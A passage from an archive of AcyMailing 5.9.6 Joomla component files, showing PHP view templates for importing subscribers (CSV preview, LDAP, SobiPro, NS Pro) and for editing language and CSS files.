				$nextSeparatorPosition = strpos($this->lines[$i], $this->separator, $position + 1);
				if($nextSeparatorPosition === false){
					break;
				}else{ // If found the next separator, add the value in $data and change the position
					$position = $nextSeparatorPosition;
				}
			}
		}

		$this->lines = array_merge($this->lines);
	}

	if($nbPreviewLines == 10) break;

	if($nbPreviewLines != 1){
		$i++;
		continue;
	}

	if(strpos($this->lines[$i], '@')){
		$noHeader = 1;
	}else $noHeader = 0;

	$columnNames = explode($this->separator, $this->lines[$i]);
	$nbColumns = count($columnNames);
	if(!empty($i)) unset($this->lines[$i]);
	ksort($this->lines);
}
$this->lines = array_values($this->lines);
$nbLines = count($this->lines);

?>
<table <?php echo acymailing_isAdmin() ? 'class="acymailing_table"' : 'class="adminlist"'; ?> cellspacing="10" cellpadding="10" align="center" id="importdata">
	<?php
	if($noHeader || !isset($this->lines[1])){
		$firstValueLine = $columnNames;
	}else{
		$firstValueLine = explode($this->separator, $this->lines[1]);
		foreach($firstValueLine as &$oneValue){
			$oneValue = trim($oneValue, '\'" ');
		}
	}

	$fieldAssignment = array();
	$fieldAssignment[] = acymailing_selectOption("0", '- - -');
	$fieldAssignment[] = acymailing_selectOption("1", acymailing_translation('ACY_IGNORE'));
	if(acymailing_isAllowed($this->config->get('acl_extra_fields_import', 'all'))){
		$createField = acymailing_selectOption("2", acymailing_translation('ACY_CREATE_FIELD'));
		if(!acymailing_level(3)){
			$createField->disable = true;
			$createField->text .= ' ('.acymailing_translation('ONLY_FROM_ENTERPRISE').')';
		}
		$fieldAssignment[] = $createField;
	}
	$separator = acymailing_selectOption("3", '-------------------------------------');
	$separator->disable = true;
	$fieldAssignment[] = $separator;

	$fields = array_keys(acymailing_getColumns('#__acymailing_subscriber'));
	$fields[] = 'listids';
	$fields[] = 'listname';

	foreach($fields as $oneField){
		$fieldAssignment[] = acymailing_selectOption($oneField, $oneField);
	}

	$fields[] = '1';

	echo '<tr class="row0"><td align="center" valign="top"><strong>'.acymailing_tooltip(acymailing_translation('ACY_ASSIGN_COLUMNS_DESC'), null, null, acymailing_translation('ACY_ASSIGN_COLUMNS')).'</strong>'.($nbColumns > 5 ? '<br/><a style="text-decoration:none;" href="#" onclick="ignoreAllOthers();">'.acymailing_translation('ACY_IGNORE_UNASSIGNED').'</a>' : '').'</td>';

	$alreadyFound = array();
	foreach($columnNames as $key => &$oneColumn){
		$oneColumn = strtolower(trim($oneColumn, '\'" '));
		$customValue = '';
		$default = acymailing_getVar('cmd', 'fieldAssignment'.$key);
		if(empty($default) && $default !== 0){
			$default = (in_array($oneColumn, $fields) ? $oneColumn : '0');

			if(!$default && !empty($firstValueLine)){
				if(isset($firstValueLine[$key]) && strpos($firstValueLine[$key], '@')){
					$default = 'email';
				}elseif($nbColumns == 2) $default = 'name';
			}
			if(in_array($default, $alreadyFound)) $default = '0';
			$alreadyFound[] = $default;
		}elseif($default == 2){
			$customValue = acymailing_getVar('cmd', 'newcustom'.$key);
		}

		echo '<td align="center" valign="top">'.acymailing_select($fieldAssignment, 'fieldAssignment'.$key, 'size="1" onchange="checkNewCustom('.$key.')" style="width:180px;"', 'value', 'text', $default).'<br />';

		echo '<input style="width:170px;'.(empty($customValue) ? 'display:none;"' : '" value="'.$customValue.'" required').' type="text" id="newcustom'.$key.'" name="newcustom" placeholder="'.acymailing_translation('FIELD_COLUMN').'..."/></td>';
	}
	echo '</tr>';

	if(!$noHeader){
		foreach($columnNames as &$oneColumn){
			$oneColumn = htmlspecialchars($oneColumn, ENT_COMPAT | ENT_IGNORE, 'UTF-8');
		}
		echo '<tr class="row1"><td align="center"><strong>'.acymailing_translation('ACY_IGNORE_LINE').'</strong></td><td align="center">['.implode(']</td><td align="center">[', $columnNames).']</td></tr>';
	}

	for($i = 1 - $noHeader; $i < 11 - $noHeader && $i < $nbLines; $i++){
		$values = explode($this->separator, $this->lines[$i]);

		foreach($values as &$oneValue){
			$oneValue = htmlspecialchars(trim($oneValue, '\'" '), ENT_COMPAT | ENT_IGNORE, 'UTF-8');
		}
		echo '<tr class="row'.(1 - $i % 2).'"><td align="center"><strong>'.($i + $noHeader).'</strong></td><td align="center">'.implode('</td><td align="center">', $values).'</td></tr>';
	}
	?>
</table>
com_acymailing/views/data/tmpl/ldap.php000060400000011003152455305300014163 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!function_exists('ldap_connect')){
	acymailing_display('LDAP Extension not loaded on your server.<br />Please enable the LDAP php extension.', 'warning');
	return;
}

$js = 'function updateldap(){
		document.getElementById("ldap_fields").innerHTML = "<span class=\"onload\"></span>";
		queryString = "'.acymailing_prepareAjaxURL('data').'&task=ajaxload&importfrom=ldap";
		queryString += "&ldap_host="+document.getElementById("ldap_host").value;
		queryString += "&ldap_port="+document.getElementById("ldap_port").value;
		queryString += "&ldap_basedn="+document.getElementById("ldap_basedn").value;
		queryString += "&ldap_username="+document.getElementById("ldap_username").value;
		queryString += "&ldap_password="+document.getElementById("ldap_password").value;

		var xhr = new XMLHttpRequest();
		xhr.open("GET", queryString);
		xhr.onload = function(){
			document.getElementById("ldap_fields").innerHTML = xhr.responseText;
		}
		xhr.send();
	}';
acymailing_addScript(true, $js);
?>
<div class="onelineblockoptions">
	<span class="acyblocktitle"><?php echo acymailing_translation('ACY_CONFIGURATION'); ?></span>
	<table <?php echo $this->isAdmin ? 'class="acymailing_table"' : 'class="admintable table" cellspacing="1"' ?>>
		<?php if($this->config->get('require_confirmation')){ ?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('IMPORT_CONFIRMED'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("ldap_import_confirm", '', $this->config->get('ldap_import_confirm', 1), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
				</td>
			</tr>
		<?php } ?>
		<tr>
			<td class="acykey">
				<?php echo acymailing_translation('GENERATE_NAME'); ?>
			</td>
			<td>
				<?php echo acymailing_boolean("ldap_generatename", '', $this->config->get('ldap_generatename', 1), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
			</td>
		</tr>
		<tr>
			<td class="acykey">
				<?php echo acymailing_translation('OVERWRITE_EXISTING'); ?>
			</td>
			<td>
				<?php echo acymailing_boolean("ldap_overwriteexisting", '', $this->config->get('ldap_overwriteexisting', 0), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
			</td>
		</tr>
		<tr>
			<td class="acykey">
				<?php echo 'Delete AcyMailing user if it does not exists in LDAP'; ?>
			</td>
			<td>
				<?php echo acymailing_boolean("ldap_deletenotexists", '', $this->config->get('ldap_deletenotexists', 0), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
			</td>
		</tr>
	</table>
</div>

<div class="onelineblockoptions">
	<span class="acyblocktitle" style="margin-top: 20px;">Server</span>
	<table <?php echo $this->isAdmin ? 'class="acymailing_table"' : 'class="admintable table" cellspacing="1"' ?>>
		<tr>
			<td class="acykey">
				<label for="ldap_host">Host</label>
			</td>
			<td>
				<input onchange="updateldap();" type="text" style="width:160px" name="ldap_host" id="ldap_host" value="<?php echo $this->escape($this->config->get('ldap_host')); ?>"/>
			</td>
		</tr>
		<tr>
			<td class="acykey">
				<label for="ldap_port">Port</label>
			</td>
			<td>
				<input onchange="updateldap();" type="text" style="width:50px" name="ldap_port" id="ldap_port" value="<?php echo $this->escape($this->config->get('ldap_port')); ?>"/>
			</td>
		</tr>
		<tr>
			<td class="acykey">
				<label for="ldap_username">RDN</label>
			</td>
			<td>
				<input onchange="updateldap();" type="text" style="width:160px" name="ldap_username" id="ldap_username" value="<?php echo $this->escape($this->config->get('ldap_username')); ?>"/>
			</td>
		</tr>
		<tr>
			<td class="acykey">
				<label for="ldap_password"><?php echo acymailing_translation('SMTP_PASSWORD'); ?></label>
			</td>
			<td>
				<input onchange="updateldap();" type="password" style="width:160px" name="ldap_password" id="ldap_password" value="<?php echo $this->escape($this->config->get('ldap_password')); ?>"/>
			</td>
		</tr>
		<tr>
			<td class="acykey">
				<label for="ldap_basedn">Base DN</label>
			</td>
			<td>
				<input onchange="updateldap();" type="text" style="width:200px" name="ldap_basedn" id="ldap_basedn" value="<?php echo $this->escape($this->config->get('ldap_basedn')); ?>"/>
			</td>
		</tr>
	</table>
</div>
<div id="ldap_fields"></div>
com_acymailing/views/data/tmpl/sobipro.php000060400000004740152455305300014732 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
	$config = acymailing_config();
	$sobiproInfo = unserialize($config->get('sobipro_import'));

	$query='SELECT a.fid, a.nid, fieldType, section, b.name, filter FROM #__sobipro_field as a JOIN #__sobipro_object as b ON a.section = b.id  WHERE (fieldType = "inbox" AND ( filter = "title" OR filter = "0" OR filter = "")) OR (fieldType = "inbox" AND filter = "email") ORDER BY `section`';
	$nidResult = acymailing_loadObjectList($query);

	$section = array();

	foreach($nidResult as $oneResult){
		if(!isset($section[$oneResult->section])) {
			$section[$oneResult->section] = array();
			$section[$oneResult->section]['sectionName'] = $oneResult->name;
			$section[$oneResult->section]['sectionID'] = $oneResult->section;
			$section[$oneResult->section]['email'] = array(acymailing_selectOption('', '- - -'));
			$section[$oneResult->section]['name'] = array(acymailing_selectOption('', '- - -'));
		}
		if(($oneResult->fieldType=='inbox' && $oneResult->filter=='email')){
			$section[$oneResult->section]['email'][] = acymailing_selectOption($oneResult->fid, $oneResult->nid);
		}
		if(($oneResult->fieldType == 'inbox' && (($oneResult->filter == "title") || ($oneResult->filter == "0") || ($oneResult->filter == "")))){
			$section[$oneResult->section]['name'][] = acymailing_selectOption($oneResult->fid, $oneResult->nid);
		}
	}
	?>
	<table>
	<thead>
	<tr>
		<th><?php echo acymailing_translation('TAG_CATEGORIES');?></th><th><?php echo acymailing_translation('JOOMEXT_EMAIL'); ?></th><th><?php echo acymailing_translation('JOOMEXT_NAME'); ?></th>
	</tr>
	</thead>
	<tbody>
	<?php
	foreach($section as $oneSection){
	?>
		<tr>
			<td><?php echo $oneSection['sectionName']; ?></td>
			<td><?php echo acymailing_select($oneSection['email'], 'config['.$oneSection['sectionID'].'][sobiEmail]' , 'size="1"', 'value', 'text', isset($sobiproInfo[$oneSection['sectionID']]['sobiEmail']) ? $sobiproInfo[$oneSection['sectionID']]['sobiEmail'] : ''); ?></td>
			<td><?php echo acymailing_select($oneSection['name'], 'config['.$oneSection['sectionID'].'][sobiName]' , 'size="1"', 'value', 'text', isset($sobiproInfo[$oneSection['sectionID']]['sobiName']) ? $sobiproInfo[$oneSection['sectionID']]['sobiName'] : '' ); ?></td>
		</tr>
	<?php
	}
	?>
	</tbody>
	</table>
com_acymailing/views/data/tmpl/nspro.php000060400000002123152455305300014407 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$resultUsers = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('nspro_subs', false));
$resultLists = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('nspro_lists', false));
?>

<table <?php echo $this->isAdmin ? 'class="acymailing_table"' : 'class="admintable table" cellspacing="1"' ?>>
	<tr>
		<td colspan="2">
			<?php echo acymailing_translation_sprintf('USERS_IN_COMP', $resultUsers, 'NS Pro'); ?>
			<br/>
			<?php echo acymailing_translation_sprintf('LISTS_IN_COMP', $resultLists, 'NS Pro'); ?>
			<br/>
			<?php echo acymailing_translation_sprintf('IMPORT_X_LISTS', $resultLists); ?>
		</td>
	</tr>
	<tr>
		<td class="acykey">
			<?php echo acymailing_translation_sprintf('IMPORT_LIST_TOO', 'NS Pro'); ?>
		</td>
		<td>
			<?php echo acymailing_boolean("nspro_lists"); ?>
		</td>
	</tr>
</table>
com_acymailing/views/data/tmpl/genericimport.php000060400000021255152455305300016124 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" enctype="multipart/form-data" id="adminForm">
		<input type="hidden" name="import_type" id="import_type" value="<?php echo $this->type; ?>"/>
		<input type="hidden" name="filename" id="filename" value="<?php echo acymailing_getVar('cmd', 'filename'); ?>"/>
		<input type="hidden" name="import_columns" id="import_columns" value=""/>
		<input type="hidden" name="createlist" id="createlist" value="<?php echo acymailing_getVar('string', 'createlist'); ?>"/>
		<?php
		$checkedLists = acymailing_getVar('array', 'importlists', array(), '');
		foreach($checkedLists as $key => $oneList){
			echo '<input type="hidden" name="importlists['.intval($key).']" id="importlists'.intval($key).'-'.intval($oneList).'" value="'.intval($oneList).'"/>';
		}

		if(!empty($this->Itemid)) echo '<input type="hidden" name="Itemid" value="'.$this->Itemid.'" />';
		acymailing_formOptions(); ?>

		<div class="onelineblockoptions" id="matchdata">
			<?php include_once(ACYMAILING_BACK.'views'.DS.'data'.DS.'tmpl'.DS.'ajaxencoding.php'); ?>
			<div class="loading" align="center"><?php echo acymailing_translation_sprintf('ACY_FIRST_LINES', ($nbLines < 11 - $noHeader ? ($nbLines - 1 + $noHeader) : 10)); ?></div>
		</div>

		<div class="onelineblockoptions">
			<span class="acyblocktitle">Parameters</span>
			<table class="acymailing_table" cellspacing="1">
				<tr id="trfilecharset">
					<td class="acykey">
						<?php echo acymailing_translation('CHARSET_FILE'); ?>
					</td>
					<td>
						<?php
						$charsetType = acymailing_get('type.charset');
						$charsetType->addinfo = 'onchange="changeCharset();"';
						$this->type = empty($this->type) ? '' : $this->type;
						if($this->type == 'textarea'){
							$default = 'UTF-8';
						}elseif($this->type == 'file'){
							$default = $encodingHelper->detectEncoding($this->content);
						}
						echo $charsetType->display('charsetconvert', $default);
						?>
						<span id="loadingEncoding"></span>
					</td>
				</tr>
				<?php if($this->config->get('require_confirmation')){ ?>
					<tr id="trfileconfirm">
						<td class="acykey">
							<?php echo acymailing_translation('IMPORT_CONFIRMED'); ?>
						</td>
						<td>
							<?php echo acymailing_boolean("import_confirmed", '', in_array('import_confirmed', $this->selectedParams) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
						</td>
					</tr>
				<?php } ?>
				<tr id="trfilegenerate">
					<td class="acykey">
						<?php echo acymailing_translation('GENERATE_NAME'); ?>
					</td>
					<td>
						<?php echo acymailing_boolean("generatename", '', in_array('generatename', $this->selectedParams) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
					</td>
				</tr>
				<tr id="trfileblock">
					<td class="acykey">
						<?php echo acymailing_translation('IMPORT_BLOCKED'); ?>
					</td>
					<td>
						<?php echo acymailing_boolean("importblocked", '', in_array('importblocked', $this->selectedParams) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
					</td>
				</tr>
				<tr id="trfileoverwrite">
					<td class="acykey">
						<?php echo acymailing_translation('OVERWRITE_EXISTING'); ?>
					</td>
					<td>
						<?php echo acymailing_boolean("overwriteexisting", '', in_array('overwriteexisting', $this->selectedParams) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
					</td>
				</tr>
			</table>
		</div>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('SUBSCRIPTION'); ?></span>
			<table class="acymailing_table" cellspacing="1">
				<tr id="trsumup">
					<td>
						<?php
						echo acymailing_translation('ACY_IMPORT_LISTS').' : '.(empty($this->lists) ? acymailing_translation('ACY_NONE') : htmlspecialchars($this->lists, ENT_COMPAT, 'UTF-8'));
						echo '<br />'.acymailing_translation('ACY_IMPORT_UNSUB_LISTS').' : '.(empty($this->unsublists) ? acymailing_translation('ACY_NONE') : htmlspecialchars($this->unsublists, ENT_COMPAT, 'UTF-8'));
						?>
					</td>
				</tr>
			</table>
		</div>
	</form>
	<script language="javascript" type="text/javascript">
		<!--
		document.addEventListener("DOMContentLoaded", function(){
			acymailing.submitbutton = function(pressbutton){
				if(pressbutton == 'finalizeimport'){
					var subval = true;
					var errors = "";
					var string = "";
					var emailField = false;
					var columns = "";
					var selectedFields = Array();
					var fieldNb = <?php echo $nbColumns; ?>;
					if(isNaN(fieldNb)) fieldNb = 1;

					for(var i = 0; i < fieldNb; i++){
						if(document.getElementById("newcustom" + i).required){
							string = document.getElementById("newcustom" + i).value;
							if(string == ""){
								subval = false;
								errors += "\nNew custom field's name (column " + (i + 1) + ")";
							}else{
								if(!string.match(/^[A-Za-z][A-Za-z0-9_]+$/)){
									subval = false;
									errors += "\nPlease enter a valid field name for the column n°" + (i + 1) + ": spaces, uppercase and special characters are not allowed";
								}else{
									if(string != 1 && selectedFields.indexOf(string) != -1){
										subval = false;
										errors += "\nDuplicate field \"" + string + "\" for the column n°" + (i + 1);
									}else{
										if(string != 0){
											selectedFields.push(string);
										}
									}
									columns += "," + string;
								}
							}
						}else{
							string = document.getElementById("fieldAssignment" + i).value;
							if(string == 0){
								subval = false;
								errors += "\nAssign the column " + (i + 1) + " to a field";
							}

							if(string == 'email'){
								emailField = true;
							}

							if(string != 1 && selectedFields.indexOf(string) != -1){
								subval = false;
								errors += "\nDuplicate field \"" + string + "\" for the column " + (i + 1);
							}else{
								selectedFields.push(string);
							}

							columns += "," + string;
						}
					}

					if(!emailField){
						subval = false;
						errors += "\nPlease assign a column for the e-mail field";
					}

					if(subval == false){
						alert("<?php echo acymailing_translation('FILL_ALL'); ?>:\n" + errors);
						return false;
					}

					if(columns.substr(0, 1) == ","){
						columns = columns.substring(1);
					}

					document.getElementById("import_columns").value = columns;
				}

				acymailing.submitform(pressbutton, document.adminForm);
			}
		});

		function checkNewCustom(key){
			if(document.getElementById("fieldAssignment" + key).value == 2){
				document.getElementById("newcustom" + key).style.display = "";
				document.getElementById("newcustom" + key).required = true;
			}else{
				document.getElementById("newcustom" + key).style.display = "none";
				document.getElementById("newcustom" + key).required = false;
			}
		}

		function changeCharset(){
			var URL = "<?php echo acymailing_prepareAjaxURL((acymailing_isAdmin() ? 'front' : '').'data'); ?>&encoding=" + document.getElementById("charsetconvert").value + "&task=ajaxencoding&filename=<?php echo urlencode($filename); ?>";
			var selectedDropdowns = "";
			var fieldNb = <?php echo $nbColumns; ?>;
			if(isNaN(fieldNb)) fieldNb = 1;

			for(var i = 0; i < fieldNb; i++){
				selectedDropdowns += "&fieldAssignment" + i + "=" + document.getElementById("fieldAssignment" + i).value;
				if(document.getElementById("newcustom" + i).required){
					selectedDropdowns += "&newcustom" + i + "=" + document.getElementById("newcustom" + i).value;
				}
			}

			URL += selectedDropdowns;


			document.getElementById("loadingEncoding").innerHTML = '<span class=\"onload\"></span>';
			document.getElementById("importdata").style.opacity = "0.5";
			document.getElementById("importdata").style.filter = 'alpha(opacity=50)';

			var xhr = new XMLHttpRequest();
			xhr.open("GET", URL);
			xhr.onload = function(){
				document.getElementById("matchdata").innerHTML = xhr.responseText;
				document.getElementById("loadingEncoding").innerHTML = '';
			}
			xhr.send();
		}

		function ignoreAllOthers(){
			var fieldNb = document.adminForm.newcustom.length;
			if(isNaN(fieldNb)) fieldNb = 1;

			for(var i = 0; i < fieldNb; i++){
				if(document.getElementById("fieldAssignment" + i).value == 0){
					document.getElementById("fieldAssignment" + i).value = 1;
				}
			}
		}
		-->
	</script>
</div>
com_acymailing/views/file/index.html000060400000000054152455305300013565 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/file/view.html.php000060400000015004152455305300014217 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class FileViewFile extends acymailingView{
	
	function display($tpl = null){
		acymailing_addStyle(false, ACYMAILING_CSS.'frontendedition.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'frontendedition.css'));

		acymailing_setNoTemplate();

		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function css(){
		$file = acymailing_getVar('cmd', 'file');
		if(!preg_match('#^([-A-Z0-9]*)_([-_A-Z0-9]*)$#i', $file, $result)){
			acymailing_display('Could not load the file '.$file.' properly');
			exit;
		}
		$type = $result[1];
		$fileName = $result[2];

		$content = acymailing_getVar('string', 'csscontent');
		if(empty($content) && file_exists(ACYMAILING_MEDIA.'css'.DS.$type.'_'.$fileName.'.css')) $content = file_get_contents(ACYMAILING_MEDIA.'css'.DS.$type.'_'.$fileName.'.css');

		if(strpos($fileName, 'default') !== false){
			$fileName = 'custom'.str_replace('default', '', $fileName);
			$i = 1;
			while(file_exists(ACYMAILING_MEDIA.'css'.DS.$type.'_'.$fileName.'.css')){
				$fileName = 'custom'.$i;
				$i++;
			}
		}

		if(acymailing_isNoTemplate()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('savecss', acymailing_translation('ACY_SAVE'), 'save', false);
			$acyToolbar->setTitle($type.'_'.$fileName.'.css');
			$acyToolbar->topfixed = false;
			$acyToolbar->display();
		}

		$this->content = $content;
		$this->fileName = $fileName;
		$this->type = $type;
	}


	function language(){

		$this->setLayout('default');

		$code = acymailing_getVar('cmd', 'code');
		if(empty($code)){
			acymailing_display('Code not specified', 'error');
			return;
		}

		$file = new stdClass();
		$file->name = $code;
		$path = acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing.ini';
		$file->path = $path;

		
		$showLatest = true;
		$loadLatest = false;

		if(file_exists($path)){
			$file->content = acymailing_fileGetContent($path);
			if(empty($file->content)){
				acymailing_display('File not found : '.$path, 'error');
			}
		}else{
			$loadLatest = true;
			acymailing_enqueueMessage(acymailing_translation('LOAD_ENGLISH_1').'<br />'.acymailing_translation('LOAD_ENGLISH_2').'<br />'.acymailing_translation('LOAD_ENGLISH_3'), 'info');
			$file->content = acymailing_fileGetContent(acymailing_getLanguagePath(ACYMAILING_ROOT, ACYMAILING_DEFAULT_LANGUAGE).DS.ACYMAILING_DEFAULT_LANGUAGE.'.com_acymailing.ini');
		}

		$custompath = acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing_custom.ini';
		if(file_exists($custompath)){
			$file->customcontent = acymailing_fileGetContent($custompath);
		}

		if($loadLatest || acymailing_getVar('cmd', 'task') == 'latest'){
			if(file_exists(acymailing_getLanguagePath(ACYMAILING_ROOT, $code))){
				acymailing_addScript(false, ACYMAILING_UPDATEURL.'languageload&code='.acymailing_getVar('cmd', 'code'));
			}else{
				acymailing_enqueueMessage('The specified language "'.htmlspecialchars($code, ENT_COMPAT, 'UTF-8').'" is not installed on your site', 'warning');
			}
			$showLatest = false;
		}elseif(acymailing_getVar('cmd', 'task') == 'save'){
			$showLatest = false;
		}

		if(acymailing_isNoTemplate()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->save();
			$acyToolbar->custom('share', acymailing_translation('SHARE'), 'share', false);
			$acyToolbar->setTitle(acymailing_translation('ACY_FILE').' : '.$this->escape($file->name));
			$acyToolbar->topfixed = false;
			$acyToolbar->display();
		}

		$this->showLatest = $showLatest;
		$this->file = $file;
	}

	function share(){
		$file = new stdClass();
		$file->name = acymailing_getVar('cmd', 'code');

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->custom('share', acymailing_translation('SHARE'), 'share', false, "if(confirm('".acymailing_translation('CONFIRM_SHARE_TRANS', true)."')){ acymailing.submitbutton('send');} return false;");
		$acyToolbar->setTitle(acymailing_translation('SHARE').' : '.$this->escape($file->name));
		$acyToolbar->topfixed = false;
		$acyToolbar->display();

		$this->file = $file;
	}

	function select(){
		$config = acymailing_config();
		$uploadFolders = acymailing_getFilesFolder('upload', true);
		$uploadFolder = acymailing_getVar('string', 'currentFolder', $uploadFolders[0]);
		$uploadPath = acymailing_cleanPath(ACYMAILING_ROOT.trim(str_replace('/', DS, trim($uploadFolder)), DS));
		$map = acymailing_getVar('string', 'id');

		$uploadedFile = acymailing_getVar('array', 'uploadedFile', array(), 'files');
		if(!empty($uploadedFile) && !empty($uploadedFile['name'])){
			$uploaded = acymailing_importFile($uploadedFile, $uploadPath, in_array($map, array('thumb', 'readmore')));
			if($uploaded){
				$script = 'parent.document.getElementById("'.$map.'").value = "'.str_replace(DS, '/', $uploadFolder).'/'.$uploaded.'";';
				if(in_array($map, array('thumb', 'readmore'))){
					$script .= 'parent.document.getElementById("'.$map.'preview").src = "'.acymailing_rootURI().str_replace(DS, '/', $uploadFolder).'/'.$uploaded.'";';
				}else{
					$script .= 'parent.document.getElementById("'.$map.'selection").innerHTML = "'.$uploaded.'";';
					$script .= "parent.document.getElementById('".$map."suppr').style.display = 'inline';";
				}
				$script .= 'window.parent.acymailing.closeBox();';
				acymailing_addScript(true, $script);
			}
		}

		$fileToDelete = acymailing_getVar('string', 'filename', '');
		if(!empty($fileToDelete) && file_exists($uploadPath.DS.$fileToDelete) && empty($uploadedFile)){
			$checkAttach = acymailing_loadResultArray('SELECT mailid FROM #__acymailing_mail WHERE attach LIKE \'%"'.$uploadFolder.'/'.$fileToDelete.'"%\'');

			if(!empty($checkAttach)){
				acymailing_display(acymailing_translation_sprintf('ACY_CANT_DELETEFILE', implode($checkAttach, ', ')), 'error');
			}else{
				if(acymailing_deleteFile($uploadPath.DS.$fileToDelete)){
					acymailing_display(acymailing_translation('ACY_DELETED_FILE_SUCCESS'), 'success');
				}else{
					acymailing_display(acymailing_translation('ACY_DELETED_FILE_ERROR'), 'error');
				}
			}
		}

		$displayType = acymailing_getVar('string', 'displayType', 'icons');
		$this->config = $config;
		$this->uploadFolder = $uploadFolder;
		$this->uploadFolders = $uploadFolders;
		$this->uploadPath = $uploadPath;
		$this->map = $map;
		$this->displayType = $displayType;
	}
}
com_acymailing/views/file/tmpl/default.php000060400000003031152455305300014677 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<form action="<?php echo acymailing_completeLink('file', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<div class="onelineblockoptions">
			<div class="acyblocktitle"><?php echo acymailing_translation('ACY_FILE').' : '.@$this->escape($this->file->name); ?>
				<?php if(!empty($this->showLatest)){ ?>
					<button type="button" class="acymailing_button" onclick="acymailing.submitbutton('latest')" style="margin-left: 15px !important;"> <?php echo acymailing_translation('LOAD_LATEST_LANGUAGE'); ?> <i class="acyicon-import" style="margin-left: 10px;"></i></button>
				<?php } ?>
			</div>
			<textarea style="width:660px;height:200px;" rows="18" name="content" id="translation"><?php echo @$this->file->content; ?></textarea>
		</div>

		<div class="onelineblockoptions">
			<div class="acyblocktitle"><?php echo acymailing_translation('CUSTOM_TRANS'); ?></div>
			<?php echo acymailing_translation('CUSTOM_TRANS_DESC'); ?>
			<textarea style="width:660px;height:50px;" rows="5" name="customcontent"><?php echo @$this->file->customcontent; ?></textarea>
		</div>

		<div class="clr"></div>
		<input type="hidden" name="code" value="<?php echo @$this->escape($this->file->name); ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/file/tmpl/share.php000060400000001753152455305300014366 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<form action="<?php echo acymailing_completeLink('file', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<div class="acyblockoptions">
			<?php acymailing_display(acymailing_translation('SHARE_CONFIRMATION_1').'<br />'.acymailing_translation('SHARE_CONFIRMATION_2').'<br />'.acymailing_translation('SHARE_CONFIRMATION_3'), 'info'); ?><br/>
			<textarea rows="8" name="mailbody" style="width:620px;height: 100px;">Hi Acyba team,
Here is a new version of the language file, I translated few more strings...</textarea>
		</div>
		<div class="clr"></div>

		<input type="hidden" name="code" value="<?php echo $this->file->name; ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/file/tmpl/select.php000060400000023735152455305300014547 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
